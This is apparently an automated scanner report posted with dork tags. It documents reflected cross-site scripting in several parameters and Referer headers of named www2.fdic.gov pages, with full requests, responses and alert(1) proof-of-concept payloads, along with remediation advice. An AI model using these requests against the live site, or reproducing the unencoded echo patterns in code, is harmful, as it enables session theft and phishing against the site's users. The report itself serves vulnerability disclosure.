XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, www2.fdic.gov

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www2.fdic.gov/idasp/Header-report.asp [ReportFunction parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www2.fdic.gov
Path:	/idasp/Header-report.asp

Issue detail

The value of the ReportFunction request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 729fc%20style%3dx%3aexpression(alert(1))%20fac50c70748 was submitted in the ReportFunction parameter. This input was echoed as 729fc style=x:expression(alert(1)) fac50c70748 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /idasp/Header-report.asp?ReportName=10&ReportDate1=3/31/2011&ReportDate2=3/31/2010&ReportFunction=Inst729fc%20style%3dx%3aexpression(alert(1))%20fac50c70748 HTTP/1.1
Host: www2.fdic.gov
Proxy-Connection: keep-alive
Referer: http://www2.fdic.gov/idasp/StruReportNew.asp?inCert1=35489&ReportName=10&From=EzFind
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SetCookie=OK; ASPSESSIONIDSSTAADSD=PIDAPMFDIPGFBDGMECDLBLEI

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 17:00:58 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 29133
Content-Type: text/html
Cache-control: private



<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>FDIC: Report Header</title>
<script language="JavaScrip
...[SNIP]...
<input type="hidden" name=ReportFunction value=Inst729fc style=x:expression(alert(1)) fac50c70748>
...[SNIP]...

1.2. http://www2.fdic.gov/idasp/Header-report.asp [ReportName parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www2.fdic.gov
Path:	/idasp/Header-report.asp

Issue detail

The value of the ReportName request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c2ae2"style%3d"x%3aexpression(alert(1))"138ecbc0d2a was submitted in the ReportName parameter. This input was echoed as c2ae2"style="x:expression(alert(1))"138ecbc0d2a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /idasp/Header-report.asp?ReportName=10c2ae2"style%3d"x%3aexpression(alert(1))"138ecbc0d2a&ReportDate1=3/31/2011&ReportDate2=3/31/2010&ReportFunction=Inst HTTP/1.1
Host: www2.fdic.gov
Proxy-Connection: keep-alive
Referer: http://www2.fdic.gov/idasp/StruReportNew.asp?inCert1=35489&ReportName=10&From=EzFind
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SetCookie=OK; ASPSESSIONIDSSTAADSD=PIDAPMFDIPGFBDGMECDLBLEI

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 17:00:55 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 29134
Content-Type: text/html
Cache-control: private



<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>FDIC: Report Header</title>
<script language="JavaScrip
...[SNIP]...
<body onload="MatchOption('10c2ae2"style="x:expression(alert(1))"138ecbc0d2a');submitForm();" BGCOLOR="white" text="black">
...[SNIP]...

1.3. http://www2.fdic.gov/idasp/rpt_Financial.asp [compareIndicator parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www2.fdic.gov
Path:	/idasp/rpt_Financial.asp

Issue detail

The value of the compareIndicator request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 206e7"style%3d"x%3aexpression(alert(1))"45dd596ea88 was submitted in the compareIndicator parameter. This input was echoed as 206e7"style="x:expression(alert(1))"45dd596ea88 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

POST /idasp/rpt_Financial.asp HTTP/1.1
Host: www2.fdic.gov
Proxy-Connection: keep-alive
Referer: http://www2.fdic.gov/idasp/Header-report.asp?ReportName=10&ReportDate1=3/31/2011&ReportDate2=3/31/2010&ReportFunction=Inst
Content-Length: 164
Cache-Control: max-age=0
Origin: http://www2.fdic.gov
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SetCookie=OK; ASPSESSIONIDSSTAADSD=PIDAPMFDIPGFBDGMECDLBLEI

ReportFunction=Inst&demodte=&compareIndicator=206e7"style%3d"x%3aexpression(alert(1))"45dd596ea88&ReportName=10&ReportType=&ReportDate1=3%2F31%2F2011&ReportDate2=3%2F31%2F2010&Qtr1=DRSYTDVariable&Qtr2=DRSYTDVariable

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 17:01:33 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 45035
Content-Type: text/html
Cache-control: private




<HTML>
<link r
...[SNIP]...
<input type="hidden" name="compareIndicator" value="206e7"style="x:expression(alert(1))"45dd596ea88">
...[SNIP]...

1.4. http://www2.fdic.gov/idasp/rpt_Financial.asp [demodte parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www2.fdic.gov
Path:	/idasp/rpt_Financial.asp

Issue detail

The value of the demodte request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d80c0"style%3d"x%3aexpression(alert(1))"33d7df8ba9ad4e929 was submitted in the demodte parameter. This input was echoed as d80c0"style="x:expression(alert(1))"33d7df8ba9ad4e929 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Request

GET /idasp/rpt_Financial.asp?ReportFunction=Inst&demodte=d80c0"style%3d"x%3aexpression(alert(1))"33d7df8ba9ad4e929&compareIndicator=&ReportName=10&ReportType=&ReportDate1=3%2F31%2F2011&ReportDate2=3%2F31%2F2010&Qtr1=DRSYTDVariable&Qtr2=DRSYTDVariable HTTP/1.1
Host: www2.fdic.gov
Proxy-Connection: keep-alive
Referer: http://www2.fdic.gov/idasp/Header-report.asp?ReportName=10&ReportDate1=3/31/2011&ReportDate2=3/31/2010&ReportFunction=Inst
Cache-Control: max-age=0
Origin: http://www2.fdic.gov
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SetCookie=OK; ASPSESSIONIDSSTAADSD=PIDAPMFDIPGFBDGMECDLBLEI

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 17:01:29 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 45041
Content-Type: text/html
Cache-control: private




<HTML>
<link r
...[SNIP]...
<input type="hidden" name="demodte" value="d80c0"style="x:expression(alert(1))"33d7df8ba9ad4e929">
...[SNIP]...

1.5. http://www2.fdic.gov/idasp/DIRSInfoRequest.asp [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www2.fdic.gov
Path:	/idasp/DIRSInfoRequest.asp

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 18334--><script>alert(1)</script>45bbccd174f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /idasp/DIRSInfoRequest.asp HTTP/1.1
Host: www2.fdic.gov
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=18334--><script>alert(1)</script>45bbccd174f
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SetCookie=OK; ASPSESSIONIDSSTAADSD=PIDAPMFDIPGFBDGMECDLBLEI; s_cc=true; s_pv=FDIC%3A%20About%20FDIC; s_sq=%5B%5BB%5D%5D; s_ppv=50; fsr.s={"v":1,"rid":"1310144459853_929676","pv":4,"to":4.5,"c":"http://www.fdic.gov/about/","lc":{"d1":{"v":4,"s":true}},"cd":1,"sd":1,"f":1310144490781}

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 17:04:10 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 27243
Content-Type: text/html
Set-Cookie: SetCookie=OK; path=/idasp
Cache-control: private



<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
       <title>FDIC: Questions, Suggestions, & Requests For SEARCH?H
...[SNIP]...
<script>alert(1)</script>45bbccd174f-->
...[SNIP]...

1.6. http://www2.fdic.gov/idasp/DIRSInfoRequest.asp [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www2.fdic.gov
Path:	/idasp/DIRSInfoRequest.asp

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 602cd"><a>d82d1bf3974 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /idasp/DIRSInfoRequest.asp HTTP/1.1
Host: www2.fdic.gov
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=602cd"><a>d82d1bf3974
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SetCookie=OK; ASPSESSIONIDSSTAADSD=PIDAPMFDIPGFBDGMECDLBLEI; s_cc=true; s_pv=FDIC%3A%20About%20FDIC; s_sq=%5B%5BB%5D%5D; s_ppv=50; fsr.s={"v":1,"rid":"1310144459853_929676","pv":4,"to":4.5,"c":"http://www.fdic.gov/about/","lc":{"d1":{"v":4,"s":true}},"cd":1,"sd":1,"f":1310144490781}

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 17:04:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 27153
Content-Type: text/html
Set-Cookie: SetCookie=OK; path=/idasp
Cache-control: private



<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
       <title>FDIC: Questions, Suggestions, & Requests For SEARCH?H
...[SNIP]...
<input type="hidden" name="inSystemName" value="SEARCH?HL=EN&Q=602CD"><A>D82D1BF3974" size="20" >
...[SNIP]...

1.7. http://www2.fdic.gov/idasp/frm_bhc.asp [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www2.fdic.gov
Path:	/idasp/frm_bhc.asp

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload 9f088--><script>alert(1)</script>4fe8b54c86f was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /idasp/frm_bhc.asp?sCurrentPg=Find%20Bank%20Holding%20Companies HTTP/1.1
Host: www2.fdic.gov
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SetCookie=OK; ASPSESSIONIDSSTAADSD=PIDAPMFDIPGFBDGMECDLBLEI
Referer: http://www.google.com/search?hl=en&q=9f088--><script>alert(1)</script>4fe8b54c86f

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 17:00:59 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 20393
Content-Type: text/html
Expires: Fri, 08 Jul 2011 17:00:59 GMT
Cache-control: private



<html>
<head>
<title>FDIC: BHC Search Form</title>
</head>

<script language="javascript1.2">
<script>alert(1)</script>4fe8b54c86f-->
...[SNIP]...

1.8. http://www2.fdic.gov/idasp/rpt_Financial.asp [Referer HTTP header] previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	http://www2.fdic.gov
Path:	/idasp/rpt_Financial.asp

Issue detail

The value of the Referer HTTP header is copied into an HTML comment. The payload a2cd5--><script>alert(1)</script>a1d7b5025de675e26 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /idasp/rpt_Financial.asp?ReportFunction=Inst&demodte=&compareIndicator=&ReportName=10&ReportType=&ReportDate1=3%2F31%2F2011&ReportDate2=3%2F31%2F2010&Qtr1=DRSYTDVariable&Qtr2=DRSYTDVariable HTTP/1.1
Host: www2.fdic.gov
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?hl=en&q=a2cd5--><script>alert(1)</script>a1d7b5025de675e26
Cache-Control: max-age=0
Origin: http://www2.fdic.gov
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SetCookie=OK; ASPSESSIONIDSSTAADSD=PIDAPMFDIPGFBDGMECDLBLEI

Response

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 17:01:42 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 44918
Content-Type: text/html
Cache-control: private


<script>alert(1)</script>a1d7b5025de675e26-->

<HTML>
<link rel="stylesheet" href="print.css" ty
...[SNIP]...

2. Referer-dependent response previous next
There are 2 instances of this issue:

/idasp/DIRSInfoRequest.asp
/idasp/rpt_Financial.asp

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defences are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defences against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defences against malicious input should be employed here as for any other kinds of user-supplied data.

2.1. http://www2.fdic.gov/idasp/DIRSInfoRequest.asp previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www2.fdic.gov
Path:	/idasp/DIRSInfoRequest.asp

Request 1

GET /idasp/DIRSInfoRequest.asp HTTP/1.1
Host: www2.fdic.gov
Proxy-Connection: keep-alive
Referer: http://www2.fdic.gov/idasp/frm_bhc.asp?sCurrentPg=Find%20Bank%20Holding%20Companies
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SetCookie=OK; ASPSESSIONIDSSTAADSD=PIDAPMFDIPGFBDGMECDLBLEI; s_cc=true; s_pv=FDIC%3A%20About%20FDIC; s_sq=%5B%5BB%5D%5D; s_ppv=50; fsr.s={"v":1,"rid":"1310144459853_929676","pv":4,"to":4.5,"c":"http://www.fdic.gov/about/","lc":{"d1":{"v":4,"s":true}},"cd":1,"sd":1,"f":1310144490781}

Response 1

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 17:04:05 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 27139
Content-Type: text/html
Set-Cookie: SetCookie=OK; path=/idasp
Cache-control: private



<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
       <title>FDIC: Questions, Suggestions, & Requests For ID</title>
   </head>
   <body BGCOLOR="white" text="black">
       <basefont face="Arial, Helvetica" size="2">

           
           

<script type="text/javascript" src="/foresee/foresee-trigger.js"></script>

<link rel="stylesheet" type="text/css" href="/header/css/www2_header_style.css" />

   <div id="header-container"> 
   
       <div id="header-nav">
           <div id="header-nav-left-container">

               <div id="header-nav-left">
                   <a target="_parent" href="http://www.fdic.gov/" alt="FDIC Logo" title="FDIC Home - Federal Deposit Insurance Corporation">
                       <div id="fdic-logo"></div>
                   </a>
               </div> 

               <div id="header-nav-right">
                   <div id="header-nav-right-top">
                       <div id="fdic-title"></div>
                   </div>
                   <div id="header-nav-right-bottom">
                       <h1>Each depositor insured to at least $250,000 per insured bank</h1>
                   </div>
               </div> 

           </div> 

           <div id="header-nav-right-container">
                   <div id="right-container-top">
                       <div id="web2">
                           <ul>

                               <li><a target="_parent" href="http://www.fdic.gov/privacy.html?site=twitter"><img src="/header/images/web2/twitter.png" alt="Twitter" title="Twitter" height="14px"/></a></li>
                               <li><img src="/header/images/Web2/web2_divider_line.png" alt="" title="" style="margin-top:7px"/></a></li>
                               <li><a target="_parent" href="http://www.fdic.gov/privacy.html?site=facebook"><img src="/header/images/web2/facebook.png" alt="Facebook" title="Facebook" height="14px"/></a></li>
                               <li><img src="/header/images/Web2/web2_divider_line.png" alt="" title="" style="margin-top:7px"/></a></li>
                               <li><a target="_parent" href="http:/
...[SNIP]...

Request 2

GET /idasp/DIRSInfoRequest.asp HTTP/1.1
Host: www2.fdic.gov
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SetCookie=OK; ASPSESSIONIDSSTAADSD=PIDAPMFDIPGFBDGMECDLBLEI; s_cc=true; s_pv=FDIC%3A%20About%20FDIC; s_sq=%5B%5BB%5D%5D; s_ppv=50; fsr.s={"v":1,"rid":"1310144459853_929676","pv":4,"to":4.5,"c":"http://www.fdic.gov/about/","lc":{"d1":{"v":4,"s":true}},"cd":1,"sd":1,"f":1310144490781}

Response 2

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 17:04:08 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 27012
Content-Type: text/html
Set-Cookie: SetCookie=OK; path=/idasp
Cache-control: private



<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
       <title>FDIC: Questions, Suggestions, & Requests For Non-FDIC Site</title>
   </head>
   <body BGCOLOR="white" text="black">
       <basefont face="Arial, Helvetica" size="2">

           
           

<script type="text/javascript" src="/foresee/foresee-trigger.js"></script>

<link rel="stylesheet" type="text/css" href="/header/css/www2_header_style.css" />

   <div id="header-container"> 
   
       <div id="header-nav">
           <div id="header-nav-left-container">

               <div id="header-nav-left">
                   <a target="_parent" href="http://www.fdic.gov/" alt="FDIC Logo" title="FDIC Home - Federal Deposit Insurance Corporation">
                       <div id="fdic-logo"></div>
                   </a>
               </div> 

               <div id="header-nav-right">
                   <div id="header-nav-right-top">
                       <div id="fdic-title"></div>
                   </div>
                   <div id="header-nav-right-bottom">
                       <h1>Each depositor insured to at least $250,000 per insured bank</h1>
                   </div>
               </div> 

           </div> 

           <div id="header-nav-right-container">
                   <div id="right-container-top">
                       <div id="web2">
                           <ul>

                               <li><a target="_parent" href="http://www.fdic.gov/privacy.html?site=twitter"><img src="/header/images/web2/twitter.png" alt="Twitter" title="Twitter" height="14px"/></a></li>
                               <li><img src="/header/images/Web2/web2_divider_line.png" alt="" title="" style="margin-top:7px"/></a></li>
                               <li><a target="_parent" href="http://www.fdic.gov/privacy.html?site=facebook"><img src="/header/images/web2/facebook.png" alt="Facebook" title="Facebook" height="14px"/></a></li>
                               <li><img src="/header/images/Web2/web2_divider_line.png" alt="" title="" style="margin-top:7px"/></a></li>
                               <li><a target="_parent" h
...[SNIP]...

2.2. http://www2.fdic.gov/idasp/rpt_Financial.asp previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www2.fdic.gov
Path:	/idasp/rpt_Financial.asp

Request 1

POST /idasp/rpt_Financial.asp HTTP/1.1
Host: www2.fdic.gov
Proxy-Connection: keep-alive
Referer: http://www2.fdic.gov/idasp/Header-report.asp?ReportName=10&ReportDate1=3/31/2011&ReportDate2=3/31/2010&ReportFunction=Inst
Content-Length: 164
Cache-Control: max-age=0
Origin: http://www2.fdic.gov
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.77 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: SetCookie=OK; ASPSESSIONIDSSTAADSD=PIDAPMFDIPGFBDGMECDLBLEI

ReportFunction=Inst&demodte=&compareIndicator=&ReportName=10&ReportType=&ReportDate1=3%2F31%2F2011&ReportDate2=3%2F31%2F2010&Qtr1=DRSYTDVariable&Qtr2=DRSYTDVariable

Response 1

HTTP/1.1 200 OK
Date: Fri, 08 Jul 2011 17:00:49 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 44988
Content-Type: text/html
Cache-control: private




<HTML>
<link rel="stylesheet" href="print.css" type="text/css" media="print" />
   <HEAD>
       <TITLE>FDIC: Financial Report 10</TITLE>
       <BASEFONT size="2">
   </HEAD>
   <script language="javascript1.2">
   function SubReports(repName) {
       self.document.SubmitReport.ReportName.value = repName;
       self.document.SubmitReport.submit();
   }
   function ChangeHeader() {
       if (parent.header.document.title != "FDIC: Report Header")
       {
           parent.header.document.location.replace("Header-report.asp")
           self.document.SubmitReport.submit();
       }
       if(parent.document.getElementById('myFrameset'))
       parent.document.getElementById('myFrameset').setAttribute('rows', '190,*', 0);
   }
   </script>
   <BODY onload="ChangeHeader();" BGCOLOR="white" text="black" onunload="javascript:if(!parent.header.document.all('ReportName',0)) parent.document.getElementById('myFrameset').setAttribute('rows', '190,*', 0);">
   <script language="javascript">
   function download_submit()
   {
       var strAction = window.top.header.document.OptionChange.action;
       var pos = strAction.indexOf("_csv.asp");
       if (pos == -1) {
           strAction = strAction.substring(0, strAction.indexOf(".asp")) + ".asp?IsExcel=1";
       }
       else {
           strAction = strAction.substring(0, strAction.indexOf("_csv.asp")) + ".asp?IsExcel=1";
       }
